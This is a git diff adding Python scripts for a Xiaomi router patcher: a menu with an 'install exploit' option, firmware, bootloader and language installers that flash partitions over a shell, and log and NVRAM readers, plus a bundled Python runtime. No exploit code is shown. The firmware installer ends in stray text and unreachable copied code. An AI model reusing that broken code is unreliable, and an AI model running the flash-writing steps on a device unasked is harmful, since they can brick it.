('Writing data to partition "{}" (addr: {}) ...'.format(name, "0x%08X" % addr)) +gw.run_cmd('mtd write {bin} "{name}"'.format(bin=fn_remote, name=name)) + +print('Ready! Bootloader "{}" installation is complete.'.format(bl_name)) diff --git a/install_fw.py b/install_fw.py new file mode 100644 index 0000000..b64f782 --- /dev/null +++ b/install_fw.py @@ -0,0 +1,82 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import os +import sys + +sys.path.append(os.path.dirname(os.path.abspath(__file__))) +import gateway +from gateway import die + + +gw = gateway.Gateway() +if not gw.device_name: + die("Устройство Xiaomi Mi Wi-Fi не найдено! (IP: {})".format(gateway.ip_addr)) + +fn_dir = 'firmware/' +fn_dir2 = fn_dir + '/tmp/' +fn_kernel = fn_dir2 + 'kernel.bin' +fn_rootfs = fn_dir2 + 'rootfs.bin' + +os.makedirs(fn_dir2, exist_ok = True) + +fn_list = [f for f in os.listdir(fn_dir) if os.path.isfile(os.path.join(fn_dir, f))] +if not fn_list: + die("В папке {} прошивка не найдена!".format(fn_dir)) + +fn_local = fn_dir + fn_list[0] +print("Считываю файл {}".format(fn_local)) +with open(fn_local, "rb") as file: + data = file.read() + +fw_type = None + +if data[:4] == b'HDR1' or data[:4] == b'HDR2': + fw_type = 'stock' + die("Стоковые прошивки Xiaomi не поддерживаются!") + +if data[:4] == b"\x27\x05\x19\x56": # uImage + fw_type = 'factory' + +if data[:10] == b"sysupgrade": # TAR + fw_type = 'sysupgrade' + die("SysUpgrade прошивки (TAR-архивы) не поддерживаются!") + +if not fw_type: + die("Неизвестный тип прошивки (header = {})".format(data[:16])) + +if data[:4] == b"\x27\x05\x19\x56": + fw_type = 'factory' + +if fw_type == 'factory': + pos = 0x0C + kernel_size = int.from_bytes(data[pos:pos+4], byteorder='big') + kernel_size += 0x40 + if (kernel_size > len(data) - 1024): + die("initramfs прошивки не поддерживаются!") + rootfs_offset = data.find(b'UBI#', kernel_size) + if (rootfs_offset <= 0): + die("В прошивке не найден раздел rootfs!") + #if (rootfs_offset < 4*1024*1024): + # kernel_size = rootfs_offset + kernel_data = data[:kernel_size] + with open(fn_kernel, "wb") as file: + file.write(kernel_data) + with open(fn_rootfs, "wb") as file: + file.write(data[rootfs_offset:]) + +sys.exit(0) hhjhjhhjhj + +print("Загружаем: " + fn_local) +gw.upload(fn_local, fn_remote) + +for filename in [fn for fn in os.listdir(fn_dir) if fn.split(".")[-1] in ['lmo']]: + print("Загружаем: " + filename) + gw.upload(fn_dir + '/' + filename, '/tmp/' + filename) + +print("Загрузка файлов завершена") + +print ("Настраиваем...") +gw.run_cmd("sh " + fn_remote) + +print("Готово! Языковые файлы установлены.") diff --git a/install_lang.py b/install_lang.py new file mode 100644 index 0000000..4b56ecd --- /dev/null +++ b/install_lang.py @@ -0,0 +1,49 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import os +import sys + +sys.path.append(os.path.dirname(os.path.abspath(__file__))) +import gateway +from gateway import die + + +gw = gateway.Gateway() + +fn_dir = 'data/' +fn_local = 'data/lang_patch.sh' +fn_remote = '/tmp/lang_patch.sh' +fn_local_i = 'data/lang_install.sh' +fn_remote_i = '/tmp/lang_install.sh' +fn_local_u = 'data/lang_uninstall.sh' +fn_remote_u = '/tmp/lang_uninstall.sh' + +action = 'install' +if len(sys.argv) > 1: + if sys.argv[1].startswith('u') or sys.argv[1].startswith('r'): + action = 'uninstall' + +if action == 'install': + gw.upload(fn_local, fn_remote) + gw.upload(fn_local_i, fn_remote_i) + +gw.upload(fn_local_u, fn_remote_u) + +if action == 'install': + for filename in [fn for fn in os.listdir(fn_dir) if fn.split(".")[-1] in ['lmo']]: + gw.upload(fn_dir + filename, '/tmp/' + filename) + +print("All files uploaded!") + +print("Run scripts...") +if action == 'install': + gw.run_cmd("sh " + fn_remote_i) +else: + gw.run_cmd("sh " + fn_remote_u) + +gw.run_cmd("rm -f " + fn_remote) +gw.run_cmd("rm -f " + fn_remote_i) +gw.run_cmd("rm -f " + fn_remote_u) + +print("Ready! The language files are installed.") diff --git a/menu.py b/menu.py new file mode 100644 index 0000000..0512978 --- /dev/null +++ b/menu.py @@ -0,0 +1,125 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import os +import sys +import subprocess + +sys.path.append(os.path.dirname(os.path.abspath(__file__))) +import gateway +from gateway import die + + +gw = gateway.Gateway(detect_device = False) + +def get_header(delim, suffix = ''): + header = delim*58 + '\n' + header += '\n' + header += 'Xiaomi MiR Patcher {} \n'.format(suffix) + header += '\n' + return header + +def menu1_show(): + gw.load_config() + print(get_header('=')) + print(' 1 - Set IP-address (current value: {})'.format(gw.ip_addr)) + print(' 2 - Connect to device (install exploit)') + print(' 3 - Read full device info') + print(' 4 - Create full backup') + print(' 5 - Install EN/RU languages') + print(' 6 - Install Breed bootloader') + print(' 7 - Install firmware (from directory "firmware")') + print(' 8 - {{{ Other functions }}}') + print(' 9 - [[ Reboot device ]]') + print(' 0 - Exit') + +def menu1_process(id): + if id == 1: + ip_addr = input("Enter device IP-address: ") + return [ "gateway.py", ip_addr ] + if id == 2: return "connect.py" + if id == 3: return "read_info.py" + if id == 4: return "create_backup.py" + if id == 5: return "install_lang.py" + if id == 6: return "install_breed.py" + if id == 7: return "install_fw.py" + if id == 8: return "__menu2" + if id == 9: return "reboot.py" + if id == 0: sys.exit(0) + return None + +def menu2_show(): + print(get_header('-', '(extended functions)')) + print(' 1 - Set default device IP-address') + print(' 2 - Read dmesg and syslog') + print(' 3 - ') + print(' 4 - Create a backup of the specified partition') + print(' 5 - Uninstall EN/RU languages') + print(' 6 - Set kernel boot address') + print(' 7 - ') + print(' 8 - __test__') + print(' 9 - [[ Reboot device ]]') + print(' 0 - Return to main menu') + +def menu2_process(id): + if id == 1: return "set_def_ipaddr.by" + if id == 2: return "read_dmesg.py" + if id == 3: return None + if id == 4: return [ "create_backup.py", "part" ] + if id == 5: return [ "install_lang.py", "uninstall" ] + if id == 6: return "activate_boot.py" + if id == 7: return None + if id == 8: return "test.py" + if id == 9: return "reboot.py" + if id == 0: return "__menu1" + return None + +def menu_show(level): + if level == 1: + menu1_show() + return 'Select: ' + else: + menu2_show() + return 'Choice: ' + +def menu_process(level, id): + if level == 1: + return menu1_process(id) + else: + return menu2_process(id) + +def menu(): + level = 1 + while True: + print('') + prompt = menu_show(level) + print('') + select = input(prompt) + print('') + if not select: + continue + try: + id = int(select) + except Exception: + id = -1 + if id < 0: + continue + cmd = menu_process(level, id) + if not cmd: + continue + if cmd == '__menu1': + level = 1 + continue + if cmd == '__menu2': + level = 2 + continue + #print("cmd2 =", cmd) + if isinstance(cmd, str): + result = subprocess.run([sys.executable, cmd]) + else: + result = subprocess.run([sys.executable] + cmd) + + +menu() + + diff --git a/python/LICENSE.txt b/python/LICENSE.txt new file mode 100644 index 0000000..0098274 --- /dev/null +++ b/python/LICENSE.txt @@ -0,0 +1,254 @@ +A. HISTORY OF THE SOFTWARE +========================== + +Python was created in the early 1990s by Guido van Rossum at Stichting +Mathematisch Centrum (CWI, see http://www.cwi.nl) in the Netherlands +as a successor of a language called ABC. Guido remains Python's +principal author, although it includes many contributions from others. + +In 1995, Guido continued his work on Python at the Corporation for +National Research Initiatives (CNRI, see http://www.cnri.reston.va.us) +in Reston, Virginia where he released several versions of the +software. + +In May 2000, Guido and the Python core development team moved to +BeOpen.com to form the BeOpen PythonLabs team. In October of the same +year, the PythonLabs team moved to Digital Creations, which became +Zope Corporation. In 2001, the Python Software Foundation (PSF, see +https://www.python.org/psf/) was formed, a non-profit organization +created specifically to own Python-related Intellectual Property. +Zope Corporation was a sponsoring member of the PSF. + +All Python releases are Open Source (see http://www.opensource.org for +the Open Source Definition). Historically, most, but not all, Python +releases have also been GPL-compatible; the table below summarizes +the various releases. + + Release Derived Year Owner GPL- + from compatible? (1) + + 0.9.0 thru 1.2 1991-1995 CWI yes + 1.3 thru 1.5.2 1.2 1995-1999 CNRI yes + 1.6 1.5.2 2000 CNRI no + 2.0 1.6 2000 BeOpen.com no + 1.6.1 1.6 2001 CNRI yes (2) + 2.1 2.0+1.6.1 2001 PSF no + 2.0.1 2.0+1.6.1 2001 PSF yes + 2.1.1 2.1+2.0.1 2001 PSF yes + 2.1.2 2.1.1 2002 PSF yes + 2.1.3 2.1.2 2002 PSF yes + 2.2 and above 2.1.1 2001-now PSF yes + +Footnotes: + +(1) GPL-compatible doesn't mean that we're distributing Python under + the GPL. All Python licenses, unlike the GPL, let you distribute + a modified version without making your changes open source. The + GPL-compatible licenses make it possible to combine Python with + other software that is released under the GPL; the others don't. + +(2) According to Richard Stallman, 1.6.1 is not GPL-compatible, + because its license has a choice of law clause. According to + CNRI, however, Stallman's lawyer has told CNRI's lawyer that 1.6.1 + is "not incompatible" with the GPL. + +Thanks to the many outside volunteers who have worked under Guido's +direction to make these releases possible. + + +B. TERMS AND CONDITIONS FOR ACCESSING OR OTHERWISE USING PYTHON +=============================================================== + +PYTHON SOFTWARE FOUNDATION LICENSE VERSION 2 +-------------------------------------------- + +1. This LICENSE AGREEMENT is between the Python Software Foundation +("PSF"), and the Individual or Organization ("Licensee") accessing and +otherwise using this software ("Python") in source or binary form and +its associated documentation. + +2. Subject to the terms and conditions of this License Agreement, PSF hereby +grants Licensee a nonexclusive, royalty-free, world-wide license to reproduce, +analyze, test, perform and/or display publicly, prepare derivative works, +distribute, and otherwise use Python alone or in any derivative version, +provided, however, that PSF's License Agreement and PSF's notice of copyright, +i.e., "Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, +2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020 Python Software Foundation; +All Rights Reserved" are retained in Python alone or in any derivative version +prepared by Licensee. + +3. In the event Licensee prepares a derivative work that is based on +or incorporates Python or any part thereof, and wants to make +the derivative work available to others as provided herein, then +Licensee hereby agrees to include in any such work a brief summary of +the changes made to Python. + +4. PSF is making Python available to Licensee on an "AS IS" +basis. PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR +IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND +DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS +FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON WILL NOT +INFRINGE ANY THIRD PARTY RIGHTS. + +5. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON +FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS +A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON, +OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF. + +6. This License Agreement will automatically terminate upon a material +breach of its terms and conditions. + +7. Nothing in this License Agreement shall be deemed to create any +relationship of agency, partnership, or joint venture between PSF and +Licensee. This License Agreement does not grant permission to use PSF +trademarks or trade name in a trademark sense to endorse or promote +products or services of Licensee, or any third party. + +8. By copying, installing or otherwise using Python, Licensee +agrees to be bound by the terms and conditions of this License +Agreement. + + +BEOPEN.COM LICENSE AGREEMENT FOR PYTHON 2.0 +------------------------------------------- + +BEOPEN PYTHON OPEN SOURCE LICENSE AGREEMENT VERSION 1 + +1. This LICENSE AGREEMENT is between BeOpen.com ("BeOpen"), having an +office at 160 Saratoga Avenue, Santa Clara, CA 95051, and the +Individual or Organization ("Licensee") accessing and otherwise using +this software in source or binary form and its associated +documentation ("the Software"). + +2. Subject to the terms and conditions of this BeOpen Python License +Agreement, BeOpen hereby grants Licensee a non-exclusive, +royalty-free, world-wide license to reproduce, analyze, test, perform +and/or display publicly, prepare derivative works, distribute, and +otherwise use the Software alone or in any derivative version, +provided, however, that the BeOpen Python License is retained in the +Software, alone or in any derivative version prepared by Licensee. + +3. BeOpen is making the Software available to Licensee on an "AS IS" +basis. BEOPEN MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR +IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, BEOPEN MAKES NO AND +DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS +FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE WILL NOT +INFRINGE ANY THIRD PARTY RIGHTS. + +4. BEOPEN SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF THE +SOFTWARE FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS +AS A RESULT OF USING, MODIFYING OR DISTRIBUTING THE SOFTWARE, OR ANY +DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF. + +5. This License Agreement will automatically terminate upon a material +breach of its terms and conditions. + +6. This License Agreement shall be governed by and interpreted in all +respects by the law of the State of California, excluding conflict of +law provisions. Nothing in this License Agreement shall be deemed to +create any relationship of agency, partnership, or joint venture +between BeOpen and Licensee. This License Agreement does not grant +permission to use BeOpen trademarks or trade names in a trademark +sense to endorse or promote products or services of Licensee, or any +third party. As an exception, the "BeOpen Python" logos available at +http://www.pythonlabs.com/logos.html may be used according to the +permissions granted on that web page. + +7. By copying, installing or otherwise using the software, Licensee +agrees to be bound by the terms and conditions of this License +Agreement. + + +CNRI LICENSE AGREEMENT FOR PYTHON 1.6.1 +--------------------------------------- + +1. This LICENSE AGREEMENT is between the Corporation for National +Research Initiatives, having an office at 1895 Preston White Drive, +Reston, VA 20191 ("CNRI"), and the Individual or Organization +("Licensee") accessing and otherwise using Python 1.6.1 software in +source or binary form and its associated documentation. + +2. Subject to the terms and conditions of this License Agreement, CNRI +hereby grants Licensee a nonexclusive, royalty-free, world-wide +license to reproduce, analyze, test, perform and/or display publicly, +prepare derivative works, distribute, and otherwise use Python 1.6.1 +alone or in any derivative version, provided, however, that CNRI's +License Agreement and CNRI's notice of copyright, i.e., "Copyright (c) +1995-2001 Corporation for National Research Initiatives; All Rights +Reserved" are retained in Python 1.6.1 alone or in any derivative +version prepared by Licensee. Alternately, in lieu of CNRI's License +Agreement, Licensee may substitute the following text (omitting the +quotes): "Python 1.6.1 is made available subject to the terms and +conditions in CNRI's License Agreement. This Agreement together with +Python 1.6.1 may be located on the Internet using the following +unique, persistent identifier (known as a handle): 1895.22/1013. This +Agreement may also be obtained from a proxy server on the Internet +using the following URL: http://hdl.handle.net/1895.22/1013". + +3. In the event Licensee prepares a derivative work that is based on +or incorporates Python 1.6.1 or any part thereof, and wants to make +the derivative work available to others as provided herein, then +Licensee hereby agrees to include in any such work a brief summary of +the changes made to Python 1.6.1. + +4. CNRI is making Python 1.6.1 available to Licensee on an "AS IS" +basis. CNRI MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR +IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, CNRI MAKES NO AND +DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS +FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON 1.6.1 WILL NOT +INFRINGE ANY THIRD PARTY RIGHTS. + +5. CNRI SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON +1.6.1 FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS +A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON 1.6.1, +OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF. + +6. This License Agreement will automatically terminate upon a material +breach of its terms and conditions. + +7. This License Agreement shall be governed by the federal +intellectual property law of the United States, including without +limitation the federal copyright law, and, to the extent such +U.S. federal law does not apply, by the law of the Commonwealth of +Virginia, excluding Virginia's conflict of law provisions. +Notwithstanding the foregoing, with regard to derivative works based +on Python 1.6.1 that incorporate non-separable material that was +previously distributed under the GNU General Public License (GPL), the +law of the Commonwealth of Virginia shall govern this License +Agreement only as to issues arising under or with respect to +Paragraphs 4, 5, and 7 of this License Agreement. Nothing in this +License Agreement shall be deemed to create any relationship of +agency, partnership, or joint venture between CNRI and Licensee. This +License Agreement does not grant permission to use CNRI trademarks or +trade name in a trademark sense to endorse or promote products or +services of Licensee, or any third party. + +8. By clicking on the "ACCEPT" button where indicated, or by copying, +installing or otherwise using Python 1.6.1, Licensee agrees to be +bound by the terms and conditions of this License Agreement. + + ACCEPT + + +CWI LICENSE AGREEMENT FOR PYTHON 0.9.0 THROUGH 1.2 +-------------------------------------------------- + +Copyright (c) 1991 - 1995, Stichting Mathematisch Centrum Amsterdam, +The Netherlands. All rights reserved. + +Permission to use, copy, modify, and distribute this software and its +documentation for any purpose and without fee is hereby granted, +provided that the above copyright notice appear in all copies and that +both that copyright notice and this permission notice appear in +supporting documentation, and that the name of Stichting Mathematisch +Centrum or CWI not be used in advertising or publicity pertaining to +distribution of the software without specific, written prior +permission. + +STICHTING MATHEMATISCH CENTRUM DISCLAIMS ALL WARRANTIES WITH REGARD TO +THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND +FITNESS, IN NO EVENT SHALL STICHTING MATHEMATISCH CENTRUM BE LIABLE +FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN +ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT +OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. diff --git a/python/_asyncio.pyd b/python/_asyncio.pyd new file mode 100644 index 0000000..6744d1b Binary files /dev/null and b/python/_asyncio.pyd differ diff --git a/python/_bz2.pyd b/python/_bz2.pyd new file mode 100644 index 0000000..63c3597 Binary files /dev/null and b/python/_bz2.pyd differ diff --git a/python/_ctypes.pyd b/python/_ctypes.pyd new file mode 100644 index 0000000..8519769 Binary files /dev/null and b/python/_ctypes.pyd differ diff --git a/python/_decimal.pyd b/python/_decimal.pyd new file mode 100644 index 0000000..712e840 Binary files /dev/null and b/python/_decimal.pyd differ diff --git a/python/_elementtree.pyd b/python/_elementtree.pyd new file mode 100644 index 0000000..5283523 Binary files /dev/null and b/python/_elementtree.pyd differ diff --git a/python/_hashlib.pyd b/python/_hashlib.pyd new file mode 100644 index 0000000..cee10ae Binary files /dev/null and b/python/_hashlib.pyd differ diff --git a/python/_lzma.pyd b/python/_lzma.pyd new file mode 100644 index 0000000..1ed8f8a Binary files /dev/null and b/python/_lzma.pyd differ diff --git a/python/_msi.pyd b/python/_msi.pyd new file mode 100644 index 0000000..0810860 Binary files /dev/null and b/python/_msi.pyd differ diff --git a/python/_multiprocessing.pyd b/python/_multiprocessing.pyd new file mode 100644 index 0000000..1120490 Binary files /dev/null and b/python/_multiprocessing.pyd differ diff --git a/python/_overlapped.pyd b/python/_overlapped.pyd new file mode 100644 index 0000000..6ca9803 Binary files /dev/null and b/python/_overlapped.pyd differ diff --git a/python/_queue.pyd b/python/_queue.pyd new file mode 100644 index 0000000..18507b6 Binary files /dev/null and b/python/_queue.pyd differ diff --git a/python/_socket.pyd b/python/_socket.pyd new file mode 100644 index 0000000..39be0e5 Binary files /dev/null and b/python/_socket.pyd differ diff --git a/python/_sqlite3.pyd b/python/_sqlite3.pyd new file mode 100644 index 0000000..a6a00ad Binary files /dev/null and b/python/_sqlite3.pyd differ diff --git a/python/_ssl.pyd b/python/_ssl.pyd new file mode 100644 index 0000000..fd75582 Binary files /dev/null and b/python/_ssl.pyd differ diff --git a/python/pyexpat.pyd b/python/pyexpat.pyd new file mode 100644 index 0000000..6a4c920 Binary files /dev/null and b/python/pyexpat.pyd differ diff --git a/python/python.exe b/python/python.exe new file mode 100644 index 0000000..56b922f Binary files /dev/null and b/python/python.exe differ diff --git a/python/python3.dll b/python/python3.dll new file mode 100644 index 0000000..52fdeba Binary files /dev/null and b/python/python3.dll differ diff --git a/python/python37._pth b/python/python37._pth new file mode 100644 index 0000000..768138f --- /dev/null +++ b/python/python37._pth @@ -0,0 +1,5 @@ +python37.zip +. + +# Uncomment to run site.main() automatically +#import site diff --git a/python/python37.dll b/python/python37.dll new file mode 100644 index 0000000..9ccdfa6 Binary files /dev/null and b/python/python37.dll differ diff --git a/python/python37.zip b/python/python37.zip new file mode 100644 index 0000000..d73dfd7 Binary files /dev/null and b/python/python37.zip differ diff --git a/python/pythonw.exe b/python/pythonw.exe new file mode 100644 index 0000000..c02617c Binary files /dev/null and b/python/pythonw.exe differ diff --git a/python/select.pyd b/python/select.pyd new file mode 100644 index 0000000..cf04d65 Binary files /dev/null and b/python/select.pyd differ diff --git a/python/unicodedata.pyd b/python/unicodedata.pyd new file mode 100644 index 0000000..8d7bc46 Binary files /dev/null and b/python/unicodedata.pyd differ diff --git a/python/winsound.pyd b/python/winsound.pyd new file mode 100644 index 0000000..ce515eb Binary files /dev/null and b/python/winsound.pyd differ diff --git a/read_dmesg.py b/read_dmesg.py new file mode 100644 index 0000000..3c5b3bf --- /dev/null +++ b/read_dmesg.py @@ -0,0 +1,56 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import os +import sys +import platform + +sys.path.append(os.path.dirname(os.path.abspath(__file__))) +import gateway +from gateway import die + + +gw = gateway.Gateway() + +fn_old = 'outdir/dmesg_old.txt' +fn_local = 'outdir/dmesg.txt' +fn_remote = '/tmp/dmesg.txt' + +if os.path.exists(fn_local): + if os.path.exists(fn_old): + os.remove(fn_old) + os.rename(fn_local, fn_old) + +print("Send command...") +gw.run_cmd("dmesg > " + fn_remote) +print("File {} created!".format(fn_remote)) + +print("Downloading data to a computer...") +gw.download(fn_remote, fn_local) + +#print("Удаляю временные файлы") +gw.run_cmd("rm -f " + fn_remote) + +with open(fn_local, "r") as file: + data = file.read() +with open(fn_local, "w") as file: + file.write(data) + +print("Kernel logs written to file {}".format(fn_local)) + +fn_old = 'outdir/syslog_old.txt' +fn_local = 'outdir/syslog.txt' +fn_remote = '/tmp/syslog.txt' +if os.path.exists(fn_local): + if os.path.exists(fn_old): + os.remove(fn_old) + os.rename(fn_local, fn_old) +gw.run_cmd("cat /data/usr/log/messages > " + fn_remote) +#gw.run_cmd("cat /proc/xiaoqiang/xq_syslog > " + fn_remote) +gw.download(fn_remote, fn_local) +gw.run_cmd("rm -f " + fn_remote) +with open(fn_local, "r") as file: + data = file.read() +with open(fn_local, "w") as file: + file.write(data) +print("System logs are written to a file {}".format(fn_local)) diff --git a/read_info.py b/read_info.py new file mode 100644 index 0000000..06d473f --- /dev/null +++ b/read_info.py @@ -0,0 +1,671 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import os +import sys +import re +import types +import binascii + +sys.path.append(os.path.dirname(os.path.abspath(__file__))) +import gateway +from gateway import die +from envbuffer import EnvBuffer + + +gw = gateway.Gateway() + +class RootFS(): + num = None # 0 / 1 + dev = None # "/dev/mtd10" + mtd_name = None # "mtd10" / "mtd11" + partition = None # "rootfs0" / "rootfs1" + +class Bootloader(): + type = None # 'uboot' / 'breed' / 'pandora' + img = None + img_size = None + addr = None + spi_rom = False + +class BaseInfo(): + linux_ver = None + cpu_arch = None + cpu_name = None + spi_rom = False + +class Version(): + openwrt = None # '12.09.1' + fw = None + channel = None # 'release' / 'stable' + buildtime = None + hardware = None # 'R3G' + uboot1 = None # '4.2.S.1' + uboot2 = None + +class DevInfo(): + verbose = 0 + dmesg = None # text + info = BaseInfo() + partlist = [] # list of {addr, size, name} + kcmdline = {} # key=value + nvram = {} # key=value + rootfs = RootFS() + board_name = None + model = None + ver = Version() + bl = Bootloader() # first bootloader + bl_list = [] # list of Bootloaders + env_list = [] # list of EnvBuffer + env = types.SimpleNamespace() + env.fw = EnvBuffer() + env.breed = EnvBuffer() + env.bdata = EnvBuffer() + + def __init__(self, verbose = 0, infolevel = 1): + self.verbose = verbose + os.makedirs('outdir', exist_ok = True) + os.makedirs('tmp', exist_ok = True) + if infolevel > 0: + self.update(infolevel) + + def update(self, infolevel): + if infolevel >= 1: + self.get_dmesg() + self.get_part_table() + if not self.partlist or len(self.partlist) <= 1: + die("Partition list is empty!") + self.get_rootfs() + self.get_baseinfo() + if not self.info.cpu_arch: + die("Can't detect CPU arch!") + if infolevel >= 2: + self.get_ver() + if infolevel >= 3: + self.get_kernel_cmdline() + self.get_nvram() + if infolevel >= 4: + self.get_bootloader() + if infolevel >= 5: + self.get_env_list() + + def get_dmesg(self, verbose = None): + verbose = verbose if verbose is not None else self.verbose + self.dmesg = None + fn_local = 'outdir/dmesg.log' + fn_remote = '/tmp/dmesg.log' + try: + gw.run_cmd("dmesg > " + fn_remote) + gw.download(fn_remote, fn_local) + gw.run_cmd("rm -f " + fn_remote) + except Exception: + return self.kcmdline + if not os.path.exists(fn_local): + return None + if os.path.getsize(fn_local) <= 1: + return None + with open(fn_local, "r") as file: + self.dmesg = file.read() + return self.dmesg + + def get_part_table(self, verbose = None): + verbose = verbose if verbose is not None else self.verbose + self.partlist = [] + if not self.dmesg: + return self.partlist + x = self.dmesg.find(" MTD partitions on ") + if x <= 0: + return self.partlist + parttbl = re.findall(r'0x0000(.*?)-0x0000(.*?) : "(.*?)"', self.dmesg) + if len(parttbl) <= 0: + return self.partlist + if verbose: + print("MTD partitions:") + for i, part in enumerate(parttbl): + addr = int(part[0], 16) + size = int(part[1], 16) - addr + name = part[2] + self.partlist.append({'addr': addr, 'size': size, 'name': name}) + if verbose: + print(' %2d > addr: 0x%08X size: 0x%08X name: "%s"' % (i, addr, size, name)) + if verbose: + print(" ") + return self.partlist + + def get_part_num(self, name_or_addr, comptype = None): + if not self.partlist: + return -2 + for i, part in enumerate(self.partlist): + if isinstance(name_or_addr, int): + if part['addr'] == 0 and part['size'] > 0x00800000: + continue # skip "ALL" part + addr = name_or_addr + if addr >= part['addr'] and addr < part['addr'] + part['size']: + return i + else: + if comptype and comptype[0] == 'e': + if part['name'].lower().endswith(name_or_addr.lower()): + return i + if part['name'].lower() == name_or_addr.lower(): + return i + return -1 + + def get_part_list(self, name_or_addr_list, comptype = None): + if not self.partlist: + return None + lst = [] + for i, val in enumerate(name_or_addr_list): + p = self.get_part_num(val, comptype) + if p >= 0: + lst.append(p) + return lst + + def get_rootfs(self, verbose = None): + verbose = verbose if verbose is not None else self.verbose + self.rootfs = RootFS() + if not self.dmesg: + return self.rootfs + if verbose: + print('RootFS info:') + # flag_boot_rootfs=0 mounting /dev/mtd10 + res = re.findall(r'flag_boot_rootfs=(.*?) mounting (.*?)\n', self.dmesg) + if len(res) > 0: + res = res[0] + if verbose: + print(' num = {}'.format(res[0])) + print(' dev = "{}"'.format(res[1])) + self.rootfs.num = int(res[0]) if res[0] else None + self.rootfs.dev = res[1] + # UBI: attached mtd10 (name "rootfs0", size 32 MiB) to ubi0 + res = re.findall(r'attached (.*?) \(name "(.*?)", size', self.dmesg) + if len(res) > 0: + res = res[0] + self.rootfs.mtd_name = res[0] + self.rootfs.partition = res[1] + if verbose: + print(' mtd_name = {}'.format(res[0])) + print(' partition = "{}"'.format(res[1])) + if verbose: + print(" ") + return self.rootfs + + def get_baseinfo(self, verbose = None): + verbose = verbose if verbose is not None else self.verbose + self.info = BaseInfo() + ret = self.info + if not self.dmesg: + return ret + if verbose: + print('Base info:') + # Linux version 3.10.14 (jenkins@cefa8cf504dc) (gcc version 4.8.5 (crosstool-NG crosstool-ng-1.22.0) ) + x = re.search(r'Linux version (.*?) ', self.dmesg) + ret.linux_ver = x.group(1).strip() if x else None + if verbose: + print(' Linux version: {}'.format(ret.linux_ver)) + # MIPS secondary cache 256kB, 8-way, linesize 32 bytes. + x = re.search(r'MIPS secondary cache (.*?) linesize ', self.dmesg) + if x: + ret.cpu_arch = 'mips' + # CPU: ARMv7 Processor [512f04d0] revision 0 (ARMv7), cr=10c5387d + x = re.search(r'CPU: ARMv7 Processor(.*?)revision ', self.dmesg) + if x: + ret.cpu_arch = 'armv7' + if verbose: + print(' CPU arch: {}'.format(ret.cpu_arch)) + # start MT7621 PCIe register access + x = re.search(r'start (.*?) PCIe register access', self.dmesg) + if x: + ret.cpu_name = x.group(1).strip().lower() if x else None + x = self.dmesg.find("acpuclk-ipq806x acpuclk-ipq806x: ") + if x > 0: + ret.cpu_name = 'ipq806x' + if verbose: + print(' CPU name: {}'.format(ret.cpu_name)) + # spi-mt7621 1e000b00.spi: sys_freq: 50000000 + x = re.search(r'spi-mt(.*?) (.*?).spi: sys_freq: ', self.dmesg) + if x: + ret.spi_rom = True + if verbose: + print(' SPI rom: {}'.format(ret.spi_rom)) + if verbose: + print(" ") + return ret + + def get_kernel_cmdline(self, verbose = None, retdict = True): + verbose = verbose if verbose is not None else self.verbose + self.kcmdline = {} if retdict else None + fn_local = 'outdir/kcmdline.log' + fn_remote = '/tmp/kcmdline.log' + try: + gw.run_cmd("cat /proc/cmdline > " + fn_remote) + gw.download(fn_remote, fn_local) + gw.run_cmd("rm -f " + fn_remote) + except Exception: + return self.kcmdline + if not os.path.exists(fn_local): + return self.kcmdline + if os.path.getsize(fn_local) <= 1: + return self.kcmdline + with open(fn_local, "r") as file: + data = file.read() + if verbose: + print("Kernel command line:") + print(" ", data) + if not retdict: + return data + data = data.replace("\n", ' ') + env = EnvBuffer(data, ' ', crc_prefix = False, encoding = 'ascii') + self.kcmdline = env.var + #self.kcmdline = type("Names", [object], self.kcmdline) + return self.kcmdline + + def get_nvram(self, verbose = None, retdict = True): + verbose = verbose if verbose is not None else self.verbose + self.nvram = {} if retdict else None + fn_local = 'outdir/nvram.txt' + fn_remote = '/tmp/nvram.txt' + try: + gw.run_cmd("nvram show > " + fn_remote) + gw.download(fn_remote, fn_local) + 